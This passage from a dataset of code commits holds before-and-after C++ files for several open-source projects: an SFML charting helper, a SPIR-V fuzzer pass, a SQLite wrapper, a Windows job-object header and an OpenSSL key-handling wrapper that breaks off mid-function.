y);\n\n\t\t\t\tsf::RectangleShape rect = MakeRect(first, second, thickness);\n\t\t\t\trect.setFillColor(color);\n\t\t\t\twindow->draw(rect);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tratio = covered \/ dist;\n\t\t\t\tx = start.x * (1.0f - ratio) + end.x * ratio;\n\t\t\t\ty = start.y * (1.0f - ratio) + end.y * ratio;\n\t\t\t\tfirst = sf::Vector2f(x, y);\n\t\t\t}\n\n\t\t\tdraw = !draw;\n\t\t\tcovered += gap;\n\t\t}\n\n\t\tif ((totalSegments % 2 == 0) && ((dist \/ gap) > static_cast<float>(totalSegments)))\n\t\t{\n\t\t\tsf::RectangleShape rect = MakeRect(first, end, thickness);\n\t\t\trect.setFillColor(color);\n\t\t\twindow->draw(rect);\n\t\t}\n\n\t\tLogFnEnd();\n\t}\n\n\tvoid SetTextAtCenter(sf::Text& text, float x, float y, float w, float h)\n\t{\n\t\tLogFnStart();\n\n\t\tfloat offsetX = (w - text.getLocalBounds().width) \/ 2.0f;\n\t\tfloat offsetY = (h - text.getLocalBounds().height) \/ 2.0f;\n\n\t\ttext.setPosition(sf::Vector2f(x + offsetX, y + offsetY));\n\n\t\tLogFnEnd();\n\t}\n\n\tsf::CircleShape PlotPoint(float x, float y, float r, const sf::Color& color)\n\t{\n\t\tLogFnStart();\n\n\t\tsf::CircleShape cs(r);\n\t\tcs.setPosition(sf::Vector2f(x, y));\n\t\tcs.setFillColor(color);\n\n\t\tLogFnEnd();\n\n\t\treturn cs;\n\t}\n\n\tSectorShape::SectorShape(float r, float a, const sf::Vector2f& c) :\n\t\tm_radius(r), m_angle(a), m_center(c)\n\t{\n\t\tLogFnStart();\n\n\t\tm_points = 2u + static_cast<unsigned int>(0.05f * m_radius * m_angle);\n\t\tm_pie = sf::VertexArray(sf::TrianglesFan, m_points);\n\n\t\tUpdate();\n\n\t\tLogFnEnd();\n\t}\n}<commit_msg>Implement SectorShape::Draw()<commit_after>#include \"Graphics.h\"\n\nnamespace CppChart\n{\n\tsf::RectangleShape MakeRect(sf::Vector2f first, sf::Vector2f second, float thickness)\n\t{\n\t\tsf::RectangleShape plot;\n\t\tfloat dist = sqrt((first.x - second.x) * (first.x - second.x) + (first.y - second.y) * (first.y - second.y));\n\n\t\tplot.setSize(sf::Vector2f(dist, thickness));\n\n\t\tif (first.y > second.y)\n\t\t{\n\t\t\tstd::swap(first, second);\n\t\t}\n\n\t\tplot.setPosition(first);\n\t\tplot.setOrigin(0.0f, plot.getSize().y \/ 2.0f);\n\n\t\tfloat m = (second.y - first.y) \/ (second.x - first.x);\n\t\tfloat angle = (180.0f \/ 3.1415f) * atan(m >= 0.0f ? m : -m);\n\n\t\tif ((first.x - second.x) > 0.01f)\n\t\t{\n\t\t\tangle = 180.0f - angle;\n\t\t}\n\n\t\tplot.rotate(angle);\n\n\t\treturn plot;\n\t}\n\n\tvoid DrawDottedLine(sf::RenderTarget* window, const sf::Vector2f& start, const sf::Vector2f& end, const sf::Color& color, float gap, float thickness)\n\t{\n\t\tLogFnStart();\n\n\t\tfloat dist = sqrt((start.x - end.x) * (start.x - end.x) + (start.y - end.y) * (start.y - end.y));\n\t\tfloat covered, ratio;\n\t\tfloat x, y;\n\t\tint totalSegments = dist \/ gap;\n\t\tbool draw = true;\n\t\tsf::Vector2f first = start, second;\n\t\n\t\tcovered = gap;\n\n\t\tfor (int i = 0; i < totalSegments; ++i)\n\t\t{\n\t\t\tif (draw)\n\t\t\t{\n\t\t\t\tratio = covered \/ dist;\n\t\t\t\tx = start.x * (1.0f - ratio) + end.x * ratio;\n\t\t\t\ty = start.y * (1.0f - ratio) + end.y * ratio;\n\t\t\t\tsecond = sf::Vector2f(x, y);\n\n\t\t\t\tsf::RectangleShape rect = MakeRect(first, second, thickness);\n\t\t\t\trect.setFillColor(color);\n\t\t\t\twindow->draw(rect);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tratio = covered \/ dist;\n\t\t\t\tx = start.x * (1.0f - ratio) + end.x * ratio;\n\t\t\t\ty = start.y * (1.0f - ratio) + end.y * ratio;\n\t\t\t\tfirst = sf::Vector2f(x, y);\n\t\t\t}\n\n\t\t\tdraw = !draw;\n\t\t\tcovered += gap;\n\t\t}\n\n\t\tif ((totalSegments % 2 == 0) && ((dist \/ gap) > static_cast<float>(totalSegments)))\n\t\t{\n\t\t\tsf::RectangleShape rect = MakeRect(first, end, thickness);\n\t\t\trect.setFillColor(color);\n\t\t\twindow->draw(rect);\n\t\t}\n\n\t\tLogFnEnd();\n\t}\n\n\tvoid SetTextAtCenter(sf::Text& text, float x, float y, float w, float h)\n\t{\n\t\tLogFnStart();\n\n\t\tfloat offsetX = (w - text.getLocalBounds().width) \/ 2.0f;\n\t\tfloat offsetY = (h - text.getLocalBounds().height) \/ 2.0f;\n\n\t\ttext.setPosition(sf::Vector2f(x + offsetX, y + offsetY));\n\n\t\tLogFnEnd();\n\t}\n\n\tsf::CircleShape PlotPoint(float x, float y, float r, const sf::Color& color)\n\t{\n\t\tLogFnStart();\n\n\t\tsf::CircleShape cs(r);\n\t\tcs.setPosition(sf::Vector2f(x, y));\n\t\tcs.setFillColor(color);\n\n\t\tLogFnEnd();\n\n\t\treturn cs;\n\t}\n\n\tSectorShape::SectorShape(float r, float a, const sf::Vector2f& c) :\n\t\tm_radius(r), m_angle(a), m_center(c)\n\t{\n\t\tLogFnStart();\n\n\t\tm_points = 2u + static_cast<unsigned int>(0.05f * m_radius * m_angle);\n\t\tm_pie = sf::VertexArray(sf::TrianglesFan, m_points);\n\n\t\tUpdate();\n\n\t\tLogFnEnd();\n\t}\n\n\tvoid SectorShape::Draw(sf::RenderTarget& target, sf::RenderStates states) const\n\t{\n\t\tLogFnStart();\n\n\t\tstates.transform *= getTransform();\n\t\ttarget.draw(m_pie, states);\n\n\t\tLogFnEnd();\n\t}\n}<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2020 Vasyl Teliman\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"source\/fuzz\/fuzzer_pass_add_composite_extract.h\"\n\n#include \"source\/fuzz\/fuzzer_context.h\"\n#include \"source\/fuzz\/fuzzer_util.h\"\n#include \"source\/fuzz\/instruction_descriptor.h\"\n#include \"source\/fuzz\/transformation_composite_extract.h\"\n\nnamespace spvtools {\nnamespace fuzz {\n\nFuzzerPassAddCompositeExtract::FuzzerPassAddCompositeExtract(\n    opt::IRContext* ir_context, TransformationContext* transformation_context,\n    FuzzerContext* fuzzer_context,\n    protobufs::TransformationSequence* transformations)\n    : FuzzerPass(ir_context, transformation_context, fuzzer_context,\n                 transformations) {}\n\nFuzzerPassAddCompositeExtract::~FuzzerPassAddCompositeExtract() = default;\n\nvoid FuzzerPassAddCompositeExtract::Apply() {\n  std::vector<const protobufs::DataDescriptor*> composite_synonyms;\n  for (const auto* dd :\n       GetTransformationContext()->GetFactManager()->GetAllSynonyms()) {\n    \/\/ |dd| must describe a component of a composite.\n    if (!dd->index().empty()) {\n      composite_synonyms.push_back(dd);\n    }\n  }\n\n  \/\/ We don't want to invalidate the module every time we apply this\n  \/\/ transformation since rebuilding DominatorAnalysis can be expensive, so we\n  \/\/ collect up the transformations we wish to apply and apply them all later.\n  std::vector<TransformationCompositeExtract> transformations;\n\n  ForEachInstructionWithInstructionDescriptor(\n      [this, &composite_synonyms, &transformations](\n          opt::Function* function, opt::BasicBlock* block,\n          opt::BasicBlock::iterator inst_it,\n          const protobufs::InstructionDescriptor& instruction_descriptor) {\n        if (!fuzzerutil::CanInsertOpcodeBeforeInstruction(SpvOpCompositeExtract,\n                                                          inst_it)) {\n          return;\n        }\n\n        if (!GetFuzzerContext()->ChoosePercentage(\n                GetFuzzerContext()->GetChanceOfAddingCompositeExtract())) {\n          return;\n        }\n\n        auto available_composites = FindAvailableInstructions(\n            function, block, inst_it,\n            [](opt::IRContext* ir_context, opt::Instruction* inst) {\n              return inst->type_id() && inst->result_id() &&\n                     fuzzerutil::IsCompositeType(\n                         ir_context->get_type_mgr()->GetType(inst->type_id()));\n            });\n\n        std::vector<const protobufs::DataDescriptor*> available_synonyms;\n        for (const auto* dd : composite_synonyms) {\n          if (fuzzerutil::IdIsAvailableBeforeInstruction(\n                  GetIRContext(), &*inst_it, dd->object())) {\n            available_synonyms.push_back(dd);\n          }\n        }\n\n        if (available_synonyms.empty() && available_composites.empty()) {\n          return;\n        }\n\n        uint32_t composite_id = 0;\n        std::vector<uint32_t> indices;\n\n        if (available_synonyms.empty() || (!available_composites.empty() &&\n                                           GetFuzzerContext()->ChooseEven())) {\n          const auto* inst =\n              available_composites[GetFuzzerContext()->RandomIndex(\n                  available_composites)];\n          composite_id = inst->result_id();\n\n          const auto* type =\n              GetIRContext()->get_type_mgr()->GetType(inst->type_id());\n          assert(type && \"Composite instruction has invalid type id\");\n\n          do {\n            uint32_t number_of_members = 0;\n\n            if (const auto* array_type = type->AsArray()) {\n              const auto* type_inst =\n                  GetIRContext()->get_def_use_mgr()->GetDef(inst->type_id());\n              assert(type_inst && \"Type instruction must exist\");\n\n              number_of_members =\n                  fuzzerutil::GetArraySize(*type_inst, GetIRContext());\n              type = array_type->element_type();\n            } else if (const auto* vector_type = type->AsVector()) {\n              number_of_members = vector_type->element_count();\n              type = vector_type->element_type();\n            } else if (const auto* matrix_type = type->AsMatrix()) {\n              number_of_members = matrix_type->element_count();\n              type = matrix_type->element_type();\n            } else if (const auto* struct_type = type->AsStruct()) {\n              number_of_members =\n                  static_cast<uint32_t>(struct_type->element_types().size());\n              \/\/ The next value of |type| will be assigned when we know the\n              \/\/ index of the OpTypeStruct's operand.\n            } else {\n              assert(false && \"|inst| is not a composite\");\n              return;\n            }\n\n            if (number_of_members == 0) {\n              return;\n            }\n\n            indices.push_back(\n                GetFuzzerContext()->GetRandomCompositeExtractIndex(\n                    number_of_members));\n\n            if (const auto* struct_type = type->AsStruct()) {\n              type = struct_type->element_types()[indices.back()];\n            }\n          } while (fuzzerutil::IsCompositeType(type) &&\n                   GetFuzzerContext()->ChoosePercentage(\n                       GetFuzzerContext()\n                           ->GetChanceOfGoingDeeperToExtractComposite()));\n        } else {\n          const auto* dd = available_synonyms[GetFuzzerContext()->RandomIndex(\n              available_synonyms)];\n\n          composite_id = dd->object();\n          indices.assign(dd->index().begin(), dd->index().end());\n        }\n\n        assert(composite_id != 0 && !indices.empty() &&\n               \"Composite object should have been chosen correctly\");\n\n        transformations.emplace_back(instruction_descriptor,\n                                     GetFuzzerContext()->GetFreshId(),\n                                     composite_id, indices);\n      });\n\n  for (const auto& transformation : transformations) {\n    ApplyTransformation(transformation);\n  }\n}\n\n}  \/\/ namespace fuzz\n}  \/\/ namespace spvtools\n<commit_msg>spirv-fuzz: Fix assertion failure in FuzzerPassAddCompositeExtract (#3995)<commit_after>\/\/ Copyright (c) 2020 Vasyl Teliman\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"source\/fuzz\/fuzzer_pass_add_composite_extract.h\"\n\n#include \"source\/fuzz\/fuzzer_context.h\"\n#include \"source\/fuzz\/fuzzer_util.h\"\n#include \"source\/fuzz\/instruction_descriptor.h\"\n#include \"source\/fuzz\/transformation_composite_extract.h\"\n\nnamespace spvtools {\nnamespace fuzz {\n\nFuzzerPassAddCompositeExtract::FuzzerPassAddCompositeExtract(\n    opt::IRContext* ir_context, TransformationContext* transformation_context,\n    FuzzerContext* fuzzer_context,\n    protobufs::TransformationSequence* transformations)\n    : FuzzerPass(ir_context, transformation_context, fuzzer_context,\n                 transformations) {}\n\nFuzzerPassAddCompositeExtract::~FuzzerPassAddCompositeExtract() = default;\n\nvoid FuzzerPassAddCompositeExtract::Apply() {\n  std::vector<const protobufs::DataDescriptor*> composite_synonyms;\n  for (const auto* dd :\n       GetTransformationContext()->GetFactManager()->GetAllSynonyms()) {\n    \/\/ |dd| must describe a component of a composite.\n    if (!dd->index().empty()) {\n      composite_synonyms.push_back(dd);\n    }\n  }\n\n  \/\/ We don't want to invalidate the module every time we apply this\n  \/\/ transformation since rebuilding DominatorAnalysis can be expensive, so we\n  \/\/ collect up the transformations we wish to apply and apply them all later.\n  std::vector<TransformationCompositeExtract> transformations;\n\n  ForEachInstructionWithInstructionDescriptor(\n      [this, &composite_synonyms, &transformations](\n          opt::Function* function, opt::BasicBlock* block,\n          opt::BasicBlock::iterator inst_it,\n          const protobufs::InstructionDescriptor& instruction_descriptor) {\n        if (!fuzzerutil::CanInsertOpcodeBeforeInstruction(SpvOpCompositeExtract,\n                                                          inst_it)) {\n          return;\n        }\n\n        if (!GetFuzzerContext()->ChoosePercentage(\n                GetFuzzerContext()->GetChanceOfAddingCompositeExtract())) {\n          return;\n        }\n\n        auto available_composites = FindAvailableInstructions(\n            function, block, inst_it,\n            [](opt::IRContext* ir_context, opt::Instruction* inst) {\n              return inst->type_id() && inst->result_id() &&\n                     fuzzerutil::IsCompositeType(\n                         ir_context->get_type_mgr()->GetType(inst->type_id()));\n            });\n\n        std::vector<const protobufs::DataDescriptor*> available_synonyms;\n        for (const auto* dd : composite_synonyms) {\n          if (fuzzerutil::IdIsAvailableBeforeInstruction(\n                  GetIRContext(), &*inst_it, dd->object())) {\n            available_synonyms.push_back(dd);\n          }\n        }\n\n        if (available_synonyms.empty() && available_composites.empty()) {\n          return;\n        }\n\n        uint32_t composite_id = 0;\n        std::vector<uint32_t> indices;\n\n        if (available_synonyms.empty() || (!available_composites.empty() &&\n                                           GetFuzzerContext()->ChooseEven())) {\n          const auto* inst =\n              available_composites[GetFuzzerContext()->RandomIndex(\n                  available_composites)];\n          composite_id = inst->result_id();\n\n          auto type_id = inst->type_id();\n          do {\n            uint32_t number_of_members = 0;\n\n            const auto* type_inst =\n                GetIRContext()->get_def_use_mgr()->GetDef(type_id);\n            assert(type_inst && \"Composite instruction has invalid type id\");\n\n            switch (type_inst->opcode()) {\n              case SpvOpTypeArray:\n                number_of_members =\n                    fuzzerutil::GetArraySize(*type_inst, GetIRContext());\n                break;\n              case SpvOpTypeVector:\n              case SpvOpTypeMatrix:\n                number_of_members = type_inst->GetSingleWordInOperand(1);\n                break;\n              case SpvOpTypeStruct:\n                number_of_members = type_inst->NumInOperands();\n                break;\n              default:\n                assert(false && \"|type_inst| is not a composite\");\n                return;\n            }\n\n            if (number_of_members == 0) {\n              return;\n            }\n\n            indices.push_back(\n                GetFuzzerContext()->GetRandomCompositeExtractIndex(\n                    number_of_members));\n\n            switch (type_inst->opcode()) {\n              case SpvOpTypeArray:\n              case SpvOpTypeVector:\n              case SpvOpTypeMatrix:\n                type_id = type_inst->GetSingleWordInOperand(0);\n                break;\n              case SpvOpTypeStruct:\n                type_id = type_inst->GetSingleWordInOperand(indices.back());\n                break;\n              default:\n                assert(false && \"|type_inst| is not a composite\");\n                return;\n            }\n          } while (fuzzerutil::IsCompositeType(\n                       GetIRContext()->get_type_mgr()->GetType(type_id)) &&\n                   GetFuzzerContext()->ChoosePercentage(\n                       GetFuzzerContext()\n                           ->GetChanceOfGoingDeeperToExtractComposite()));\n        } else {\n          const auto* dd = available_synonyms[GetFuzzerContext()->RandomIndex(\n              available_synonyms)];\n\n          composite_id = dd->object();\n          indices.assign(dd->index().begin(), dd->index().end());\n        }\n\n        assert(composite_id != 0 && !indices.empty() &&\n               \"Composite object should have been chosen correctly\");\n\n        transformations.emplace_back(instruction_descriptor,\n                                     GetFuzzerContext()->GetFreshId(),\n                                     composite_id, indices);\n      });\n\n  for (const auto& transformation : transformations) {\n    ApplyTransformation(transformation);\n  }\n}\n\n}  \/\/ namespace fuzz\n}  \/\/ namespace spvtools\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include \"c.hpp\"\n#include \"global.hpp\"\n\nnamespace WonderRabbitProject\n{\n  namespace SQLite3\n  {\n    struct runtime_error\n      : public std::runtime_error\n    {\n      const RESULT_CODE result_code;\n      runtime_error( const std::string& message, const RESULT_CODE r )\n        : std::runtime_error( message )\n        , result_code( r )\n      { }\n    };\n    \n    inline void validate(RESULT_CODE r)\n    {\n      switch(r)\n      {\n        case RESULT_CODE::OK:\n        case RESULT_CODE::ROW:\n        case RESULT_CODE::DONE:\n          return;\n        default:\n          \/\/ ToDo: to_string(RESULT_CODE)\n          auto m = u8\"FAIL; RESULT_CODE is \" + std::to_string( static_cast< int >( r ) );\n          throw runtime_error( m );\n      }\n    }\n    \n    struct zeroblob_size_t final\n    {\n      explicit zeroblob_size_t(size_t size__) noexcept\n        : size_(size__)\n      { }\n      size_t size() const\n      { return size_; }\n    private:\n      const size_t size_;\n    };\n  }\n}\n<commit_msg>fix-up<commit_after>#pragma once\n\n#include \"c.hpp\"\n#include \"global.hpp\"\n\nnamespace WonderRabbitProject\n{\n  namespace SQLite3\n  {\n    struct runtime_error\n      : public std::runtime_error\n    {\n      const RESULT_CODE result_code;\n      runtime_error( const std::string& message, const RESULT_CODE r )\n        : std::runtime_error( message )\n        , result_code( r )\n      { }\n    };\n    \n    inline void validate(RESULT_CODE r)\n    {\n      switch(r)\n      {\n        case RESULT_CODE::OK:\n        case RESULT_CODE::ROW:\n        case RESULT_CODE::DONE:\n          return;\n        default:\n          \/\/ ToDo: to_string(RESULT_CODE)\n          auto m = u8\"FAIL; RESULT_CODE is \" + std::to_string( static_cast< int >( r ) );\n          throw runtime_error( m, r );\n      }\n    }\n    \n    struct zeroblob_size_t final\n    {\n      explicit zeroblob_size_t(size_t size__) noexcept\n        : size_(size__)\n      { }\n      size_t size() const\n      { return size_; }\n    private:\n      const size_t size_;\n    };\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>[IMP] Increased default custom fields number.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License\n\n#ifndef __PROCESS_WINDOWS_JOBOBJECT_HPP__\n#define __PROCESS_WINDOWS_JOBOBJECT_HPP__\n\n#include <map>\n#include <string>\n\n#include <stout\/lambda.hpp>\n#include <stout\/nothing.hpp>\n#include <stout\/windows.hpp> \/\/ For `SharedHandle`.\n#include <stout\/windows\/os.hpp> \/\/ For `os` namespace.\n\n#include <process\/defer.hpp>\n#include <process\/future.hpp>\n#include <process\/reap.hpp>\n#include <process\/subprocess.hpp>\n#include <process\/process.hpp>\n\n#include <glog\/logging.h> \/\/ For `CHECK` macro.\n\n\nnamespace process {\nnamespace internal {\n\nclass JobObjectManager : public Process<JobObjectManager>\n{\npublic:\n  JobObjectManager() : ProcessBase(\"__job_object_manager\") {}\n  virtual ~JobObjectManager() {}\n\n  void manage(\n      const pid_t pid,\n      const std::string& name,\n      const SharedHandle& handle)\n  {\n    jobs.emplace(pid, JobData{name, handle});\n\n    process::reap(pid)\n      .onAny(defer(self(), &Self::cleanup, lambda::_1, pid));\n  }\n\nprotected:\n  void cleanup(Future<Option<int>> exit_code, const pid_t pid)\n  {\n    CHECK(!exit_code.isPending());\n    CHECK(!exit_code.isDiscarded());\n\n    Try<Nothing> killJobResult = os::kill_job(jobs.at(pid).handle);\n    CHECK(!killJobResult.isError())\n      << \"Failed to kill job object: \" << killJobResult.error();\n\n    \/\/ Finally, erase the `JobData`, closing the last handle to the job object.\n    \/\/ All functionality requiring a live job object handle (but possibly a\n    \/\/ dead process) must happen prior to this, e.g. in a another parent hook.\n    jobs.erase(pid);\n  }\n\nprivate:\n  struct JobData {\n    std::string name;\n    SharedHandle handle;\n  };\n\n  std::map<pid_t, JobData> jobs;\n};\n\n\/\/ Global job object manager process. Defined in `process.cpp`.\nextern PID<JobObjectManager> job_object_manager;\n\n} \/\/ namespace internal {\n\ninline Subprocess::ParentHook Subprocess::ParentHook::CREATE_JOB() {\n  return Subprocess::ParentHook([](pid_t pid) -> Try<Nothing> {\n    \/\/ NOTE: There are two very important parts to this hook. First, Windows\n    \/\/ does not have a process hierarchy in the same sense that Unix does, so\n    \/\/ in order to be able to kill a task, we have to put it in a job object.\n    \/\/ Then, when we terminate the job object, it will terminate all the\n    \/\/ processes in the task (including any processes that were subsequently\n    \/\/ created by any process in this task). Second, the lifetime of the job\n    \/\/ object is greater than the lifetime of the processes it contains. Thus\n    \/\/ the job object handle is explicitly owned by the global job object\n    \/\/ manager process.\n    Try<std::string> name = os::name_job(pid);\n    if (name.isError()) {\n      return Error(name.error());\n    }\n\n    \/\/ This creates a named job object in the Windows kernel.\n    \/\/ This handle must remain in scope (and open) until\n    \/\/ a running process is assigned to it.\n    Try<SharedHandle> handle = os::create_job(name.get());\n    if (handle.isError()) {\n      return Error(handle.error());\n    }\n\n    \/\/ This actually assigns the process `pid` to the job object.\n    Try<Nothing> result = os::assign_job(handle.get(), pid);\n    if (result.isError()) {\n      return Error(result.error());\n    }\n\n    \/\/ Save the handle to the job object to ensure the object remains\n    \/\/ open for the entire lifetime of the agent process, and is closed\n    \/\/ when the process is reaped.\n    dispatch(\n      process::internal::job_object_manager,\n      &process::internal::JobObjectManager::manage,\n      pid,\n      name.get(),\n      handle.get());\n\n    return Nothing();\n  });\n}\n\n} \/\/ namespace process {\n\n#endif \/\/ __PROCESS_WINDOWS_JOBOBJECT_HPP__\n<commit_msg>Windows: Updated job object name types to `wstring`.<commit_after>\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License\n\n#ifndef __PROCESS_WINDOWS_JOBOBJECT_HPP__\n#define __PROCESS_WINDOWS_JOBOBJECT_HPP__\n\n#include <map>\n#include <string>\n\n#include <stout\/lambda.hpp>\n#include <stout\/nothing.hpp>\n#include <stout\/windows.hpp> \/\/ For `SharedHandle`.\n#include <stout\/windows\/os.hpp> \/\/ For `os` namespace.\n\n#include <process\/defer.hpp>\n#include <process\/future.hpp>\n#include <process\/reap.hpp>\n#include <process\/subprocess.hpp>\n#include <process\/process.hpp>\n\n#include <glog\/logging.h> \/\/ For `CHECK` macro.\n\n\nnamespace process {\nnamespace internal {\n\nclass JobObjectManager : public Process<JobObjectManager>\n{\npublic:\n  JobObjectManager() : ProcessBase(\"__job_object_manager\") {}\n  virtual ~JobObjectManager() {}\n\n  void manage(\n      const pid_t pid,\n      const std::wstring& name,\n      const SharedHandle& handle)\n  {\n    jobs.emplace(pid, JobData{name, handle});\n\n    process::reap(pid)\n      .onAny(defer(self(), &Self::cleanup, lambda::_1, pid));\n  }\n\nprotected:\n  void cleanup(Future<Option<int>> exit_code, const pid_t pid)\n  {\n    CHECK(!exit_code.isPending());\n    CHECK(!exit_code.isDiscarded());\n\n    Try<Nothing> killJobResult = os::kill_job(jobs.at(pid).handle);\n    CHECK(!killJobResult.isError())\n      << \"Failed to kill job object: \" << killJobResult.error();\n\n    \/\/ Finally, erase the `JobData`, closing the last handle to the job object.\n    \/\/ All functionality requiring a live job object handle (but possibly a\n    \/\/ dead process) must happen prior to this, e.g. in a another parent hook.\n    jobs.erase(pid);\n  }\n\nprivate:\n  struct JobData {\n    std::wstring name;\n    SharedHandle handle;\n  };\n\n  std::map<pid_t, JobData> jobs;\n};\n\n\/\/ Global job object manager process. Defined in `process.cpp`.\nextern PID<JobObjectManager> job_object_manager;\n\n} \/\/ namespace internal {\n\ninline Subprocess::ParentHook Subprocess::ParentHook::CREATE_JOB() {\n  return Subprocess::ParentHook([](pid_t pid) -> Try<Nothing> {\n    \/\/ NOTE: There are two very important parts to this hook. First, Windows\n    \/\/ does not have a process hierarchy in the same sense that Unix does, so\n    \/\/ in order to be able to kill a task, we have to put it in a job object.\n    \/\/ Then, when we terminate the job object, it will terminate all the\n    \/\/ processes in the task (including any processes that were subsequently\n    \/\/ created by any process in this task). Second, the lifetime of the job\n    \/\/ object is greater than the lifetime of the processes it contains. Thus\n    \/\/ the job object handle is explicitly owned by the global job object\n    \/\/ manager process.\n    Try<std::wstring> name = os::name_job(pid);\n    if (name.isError()) {\n      return Error(name.error());\n    }\n\n    \/\/ This creates a named job object in the Windows kernel.\n    \/\/ This handle must remain in scope (and open) until\n    \/\/ a running process is assigned to it.\n    Try<SharedHandle> handle = os::create_job(name.get());\n    if (handle.isError()) {\n      return Error(handle.error());\n    }\n\n    \/\/ This actually assigns the process `pid` to the job object.\n    Try<Nothing> result = os::assign_job(handle.get(), pid);\n    if (result.isError()) {\n      return Error(result.error());\n    }\n\n    \/\/ Save the handle to the job object to ensure the object remains\n    \/\/ open for the entire lifetime of the agent process, and is closed\n    \/\/ when the process is reaped.\n    dispatch(\n      process::internal::job_object_manager,\n      &process::internal::JobObjectManager::manage,\n      pid,\n      name.get(),\n      handle.get());\n\n    return Nothing();\n  });\n}\n\n} \/\/ namespace process {\n\n#endif \/\/ __PROCESS_WINDOWS_JOBOBJECT_HPP__\n<|endoftext|>"}
{"text":"<commit_before>#include \"..\/stdafx.h\"\n\n#include \"wrapper\/pki\/key.h\"\n\nvoid Key::readPrivateKey(Handle<Bio> in, DataFormat::DATA_FORMAT format, Handle<std::string> password) {\n\ttry{\n\t\tif (in.isEmpty()){\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, \"Bio is empty\");\n\t\t}\n\n\t\tin->reset();\n\n\t\tEVP_PKEY *key = NULL;\n\n\t\tconst void * pass = password->c_str();\n\n\t\tswitch (format){\n\t\tcase DataFormat::DER:\n\t\t\tLOGGER_OPENSSL(d2i_PKCS8PrivateKey_bio);\n\t\t\tkey = d2i_PKCS8PrivateKey_bio(in->internal(), NULL, 0, (void *)pass);\n\t\t\tbreak;\n\t\tcase DataFormat::BASE64:\n\t\t\tLOGGER_OPENSSL(PEM_read_bio_PrivateKey);\n\t\t\tkey = PEM_read_bio_PrivateKey(in->internal(), NULL, 0, (void *)pass);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, ERROR_DATA_FORMAT_UNKNOWN_FORMAT, format);\n\t\t}\n\n\t\tif (!key) {\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, \"Can not read EVP_PKEY data\");\n\t\t}\n\n\t\tthis->setData(key);\n\t}\n\tcatch (Handle<Exception> e){\n\t\tTHROW_EXCEPTION(0, Key, e, \"Error read private key\");\n\t}\n}\n\nvoid Key::readPublicKey(Handle<Bio> in, DataFormat::DATA_FORMAT format) {\n\ttry{\n\t\tif (in.isEmpty()){\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, \"Bio is empty\");\n\t\t}\n\n\t\tin->reset();\n\n\t\tEVP_PKEY *key = NULL;\n\t\t\n\t\tswitch (format){\n\t\tcase DataFormat::DER:\n\t\t\tLOGGER_OPENSSL(d2i_PUBKEY_bio);\n\t\t\tkey = d2i_PUBKEY_bio(in->internal(), NULL);\n\t\t\tbreak;\n\t\tcase DataFormat::BASE64:\n\t\t\tLOGGER_OPENSSL(PEM_read_bio_PUBKEY);\n\t\t\tkey = PEM_read_bio_PUBKEY(in->internal(), NULL, 0, NULL);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, ERROR_DATA_FORMAT_UNKNOWN_FORMAT, format);\n\t\t}\n\n\t\tif (!key) {\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, \"Can not read EVP_PKEY data\");\n\t\t}\n\n\t\tthis->setData(key);\n\t}\n\tcatch (Handle<Exception> e){\n\t\tTHROW_EXCEPTION(0, Key, e, \"Error read pubkey key\");\n\t}\n}\n\nvoid Key::writePrivateKey(Handle<Bio> out, DataFormat::DATA_FORMAT format, Handle<std::string> password) {\n\ttry{\n\t\tif (out.isEmpty()){\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, \"Bio is empty\");\n\t\t}\n\n\t\tswitch (format){\n\t\tcase DataFormat::DER:\n\t\t\tif (password->length() > 0){\n\t\t\t\tLOGGER_OPENSSL(i2d_PKCS8PrivateKey_bio);\n\t\t\t\tif (!i2d_PKCS8PrivateKey_bio(out->internal(), this->internal(), EVP_aes_256_cbc(), (char *)password->c_str(), password->length(), NULL, 